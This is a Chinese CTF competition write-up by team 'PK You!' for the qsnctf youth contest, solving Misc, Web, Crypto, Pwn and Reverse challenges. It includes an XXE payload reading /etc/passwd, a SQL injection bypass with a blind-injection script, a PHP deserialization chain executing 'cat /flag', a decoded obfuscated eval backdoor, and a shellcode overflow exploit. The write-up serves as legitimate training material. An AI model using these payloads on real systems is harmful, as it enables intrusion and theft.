一、战队信息
战队名称:PK You!
战队排名:22
二、解题步骤
S | Stuck | 题目做到一半思路卡壳 |
---|---|---|
F | Finished | 完成该题 |
1 | First Blood | 获得一血 |
2 | Second Blood | 获得二血 |
3 | Third Blood | 获得三血 |
Misc
F | CTFer Revenge |
题目给的文件是一个压缩包经过reverse后的十六进制数据,用厨子再reverse回去得到正确的16进制文件
观察发现数据格式不是很标准,需要进行处理才能导入,写个脚本将行号以及后面的文本区域和空行去掉
def remove_blank_lines(file_name):
try:
# 创建一个临时文件用于存储非空白行
with open(file_name, 'r', encoding='utf-8') as input_file, open(f"{file_name}.tmp", 'w', encoding='utf-8') as output_file:
for line in input_file:
# 如果行不是空白的,则写入临时文件
if line.strip():
line = line[10:]
# 查找第一个'|'字符的位置
pipe_index = line.find('|')
# 如果找到了'|',则去除该字符及其后面的所有字符
if pipe_index != -1:
line = line[:pipe_index]
# 将处理后的行写入临时文件
output_file.write(line)
# 删除原文件并将临时文件重命名为原文件名
import os
os.remove(file_name)
os.rename(f"{file_name}.tmp", file_name)
print(f"Processed file saved as {file_name}")
except FileNotFoundError:
print(f"File {file_name} not found.")
# 调用函数,传入你的txt文件路径
remove_blank_lines("C:/Users/Xia/Desktop/1.txt")
导出压缩包,根据提示暴力破解数字和小写字母得到压缩包密码
解压得到图片
应该是猫眼之类的(不知道是不是),但是已经能看到flag了
qsnctf{b414e3eea6449ddba0997db259203eb7}
F1 | 追光者 |
最开始的压缩包是伪加密
解压得到了一张图和txt文件,txt里没有什么有用的东西,看一下图片可以看到里面隐藏了一个压缩包文件
压缩包文件是加密了的,得到以下提示
010打开之前的图片搜索AB得到密码
最后有一串base64的提示,为大小写,密码iam5thplayer(这里由于个人原因附件弄成旧的了,在图上就没有er)
得到了一半的flag,里面还解压出来了一张图片和压缩包
打开压缩包我们可以发现压缩包内的图片和提供的图片CRC一样,采用明文爆破出密码
用爆破出的密码解压得到txt.galf,其实这是reverse后得到的文件名,打开将得到的字符串reverse
得到flag
qsnctf{NE73R_G1V3_U1o}
F | 多情 |
解压得到一个压缩包和png图片,先看png图片,分离得到另外一张png图片
但是用imageglass无法打开,尝试爆破宽高,得到完整图片
得到996,打开之前的压缩包发现只有0和1,将996转化成二进制得到1111100100。刚好对应压缩包中01的数量,进行替换得到一串带&#字符
Lrp5mJcdEbbv2bnf6HQSNh
经搜索发现与NCR(数字字符引用)有关,HTML解码得到没有壳子的Flag(这个地方不得不吐槽一下)
套上壳子得到最终Flag
qsnctf{Lrp5mJcdEbbv2bnf6HQSNh}
F | ez_model |
题目附件是一个pth文件,百度发现是一个ai的模型,写一个代码读取文件内容
import torch
pthfile = r"C:/Users/Xia/Desktop/ez_model/easy.pth" #.pth文件的路径
model = torch.load(pthfile, torch.device('cpu')) #设置在cpu环境下查询
print('type:')
print(type(model)) #查看模型字典长度
print('length:')
print(len(model))
print('key:')
for k in model.keys(): #查看模型字典里面的key
print(k)
print('value:')
for k in model: #查看模型字典里面的value
print(k,model[k])
得到两个tensor 百度后知道这是tensor张量(张亮bushi)。因为之前没有了解过,就用GPT想写一个张量转化的脚本,结果直接解码了,看起来像是根据ASCII解码
同理将hint tensor解码得到两串字符串
flag tensor: “LidUJ3fQM2FVJoxpDwLvDyF3DwpPdwxOEgbQJoxnEgdnJgnojoZ5mF”.
hint tensor: “ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/”.
自定义base64解码
#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
s = "ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/"
def My_base64_decode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
if i != '=':
x = str(bin(s.index(i))).replace('0b', '')
bin_str.append('{:0>6}'.format(x))
#print(bin_str)
# 输出的字符串
outputs = ""
nums = inputs.count('=')
while bin_str:
temp_list = bin_str[:4]
temp_str = "".join(temp_list)
#print(temp_str)
# 补足8位字节
if(len(temp_str) % 8 != 0):
temp_str = temp_str[0:-1 * nums * 2]
# 将四个6字节的二进制转换为三个字符
for i in range(0,int(len(temp_str) / 8)):
outputs += chr(int(temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]
print("Decrypted String:\n%s "%outputs)
input_str = input("Please enter a string that needs to be decrypted: \n")
My_base64_decode(input_str)
解码得到flag
qsnctf{d0b1e37104739d71b92fb1a93aa8cf09}
F | 小光的答案之书 |
题目链接打开后是一篇帖子,重点是图片
对照圣堂武士密码(猪圈密码升级版)解码得到LIFE
大写试了下不对,改为小写,得到密码life
公众号发送信息得到flag
qsnctf{49e7bd5efe114cd2d93ef60ddb2f8714}
S | can_can_need_computer |
题目附件是一个raw文件,搜f1ag时发现zip文件
将压缩包提取出来
发现是加密的,尝试伪加密解密得到flag.txt文件
因为刚开始学而且取证方面实战不是很多,后面没有思路了,还得继续学习
呵呵,你是他请来修理电脑的帮手吧,既然找到了这里,那么我就给你一个机会,如果你能解密下面的信息,我就帮他修好他的电脑~~
哦对了,告诉你密钥的格式吧:
启动后门程序的按键(如有字母则为小写)_被修改且使用的文件的原名称_一串我喜欢的数字
例如:
a_1.txt_123
现在尝试去解密这串密文吧:
U2FsdGVkX1/AIh77kQBllKkJpfO57KeAqc5/9d5pSeXRYrPzaeradEvWIVCOgx5go8UORc6ULFk5lOeE/Lhz6Q==
F | 调查问卷|
填写问卷得到flag(随缘)
Web(All K.o)
F | EasyMD5 |
尝试随便上传两个pdf 发现要求两个不同文件但是MD5值相同。搜索得到两个导入十六进制改后缀为pdf上传得到flag
文件1:
d131dd02c5e6eec4693d9a0698aff95c 2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a 085125e8f7cdc99fd91dbdf280373c5b
d8823e3156348f5bae6dacd436c919c6 dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1e c69821bcb6a8839396f9652b6ff72a70
文件2:
d131dd02c5e6eec4693d9a0698aff95c 2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a 085125e8f7cdc99fd91dbd7280373c5b
d8823e3156348f5bae6dacd436c919c6 dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1e c69821bcb6a8839396f965ab6ff72a70
得到flag
qsnctf{881019b3d6984bb6ad1a35f8d993abab}
F | PHP的XXE |
PHP Version 7.0.30 存在xxe漏洞
漏洞点 /dom.php
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
得到flag
qsnctf{867aece4a82a46e19995d672f194d566}
F | PHP的后门 |
这种应该是用php某些版本的漏洞 抓包看php的版本
发现是php 8.1.0版本
得到flag
qsnctf{ae01e003038d4ceb0c1dbc2ff56da1f5}
F | Easy_SQLi |
用户名admin,密码"sa' or 1=1#" 可以进入,但是进去没啥内容。1=1可以改成 payload来进行盲注,表名为users,字段名为password进行盲注
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{},"
flag = ""
url = "http://challenge.qsnctf.com:31471/login.php"
data_payload="select group_concat(password) from users"
for i in range(1, 50):
for char in chars:
payload = "ascii(substr(({0}),{1},1))={2} #".format(data_payload, i, ord(char))
data = {"uname": "admin","psw":"sa' or "+payload+"#"}
res = requests.post(url, data=data)
text = res.text
if 'successful' in text:
flag += char
print(flag)
break
F | 雏形系统|
进去页面乱输发现什么也没有发生,扫一下,扫到www.zip
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
base64解码
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU==";
// eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
echo('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))))
把eval改成echo看内容
?><?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
反序列化 exp:
$a = new wo();
$a -> sex= 'boy';
$a -> age= 'eighteen';
$a -> intention= new shi();
$a -> intention -> pass = 'cat /flag';
$a -> intention -> next = new Demo();
echo serialize($a);
Crypto
F | 解个方程 |
已知pqe求d
import gmpy2
p =
q =
e =
d = gmpy2.invert(e,(p-1)*(q-1))
print d
F | 四重加密 |
打开压缩包,注释base64解码得到第一层压缩包密码
解压得到一串NCR,HTML解码(和多情同理)
得到一串密文和key
zcye{mxmemtxrzt_lzbha_kwmqzec}|key=hello
继续解码
一开始想的是维吉尼亚密码,但是看到的时候觉得不像,交上去也没有,后面拿维吉尼亚的结果去梭哈得到了flag
根据题目要求改下壳
qsnctf{ldvgosdabv_kfkjc_jcvsbdi}
Pwn
F| 简单的数学题 |
前面两个问题在线解x网站可以得到x的值
最后一个问通过Python解方程库
from sympy import symbols, Eq, solve
# 定义变量
x = symbols('x')
# 建立方程
equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)
# 使用solve解方程
solutions = solve(equation, x, dict=True)
# 输出解
for sol in solutions:
print(f"解为 x = {sol[x]}")
得到第三问x的值,提交得到flag
qsnctf{8dfa3bfe64144473814352fab47646a4}
F | Easy_Shellcode |
最开始打印v4的地址,然后又可以在v4输入数据,通过gdb调试可以看到v4的地址有执行权限,用的scanf输入,明显可以溢出:
所以先在v4那里写入shellcode,再通过溢出跳转回v4执行shellcode拿flag:
Exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
p=process('./easy-shellcode')
p=remote('challenge.qsnctf.com',30400)
addr=int(p.recv(14),16)
success('addr:'+hex(addr))
pd=asm(shellcraft.sh()).ljust(0x108,b'\x90')+p64(addr)
p.sendline(pd)
#gdb.attach(p)
#pause()
p.interactive()
Reverse(All K.o)
F | 来打CS咯 |
考虑到这是一个恶意样本,目标是找到ip和端口,所以想到用沙箱先扫扫进行基本的分析。直接在网络行为里面就看到了ip和端口。
得到flag
qsnctf{10.0.80.253:8118}
三、总结
这次青少年CTF可以说是收获满满,做题第一天遇到的都还是比较简单,第二天学到了很多新的思路,边学边打的过程中也解决了很多没有遇到过的问题。这次非常幸运的被采纳了投稿,成为了一名出题人(Misc方向差评第一《追光者》出题人),当时看见能自主出题的时候非常激动,就投了一个题结果选上了。但是这次出题因为最后一次需要再次提交附件,当时未把新旧附件分开导致附件出现错误,在此再次向各位师傅们谢罪!感谢我的队友Dreammm✌(太强了,是个全栈✌)!总的来说,这次比赛收获了非常多!各位师傅们宝贵的意见和建议,新的解题思路,还有很多新朋友。而且这次比赛成绩十分理想,竟然进到了前30(其实是20,因为前面有队伍被ban掉了),下次一定会继续努力的!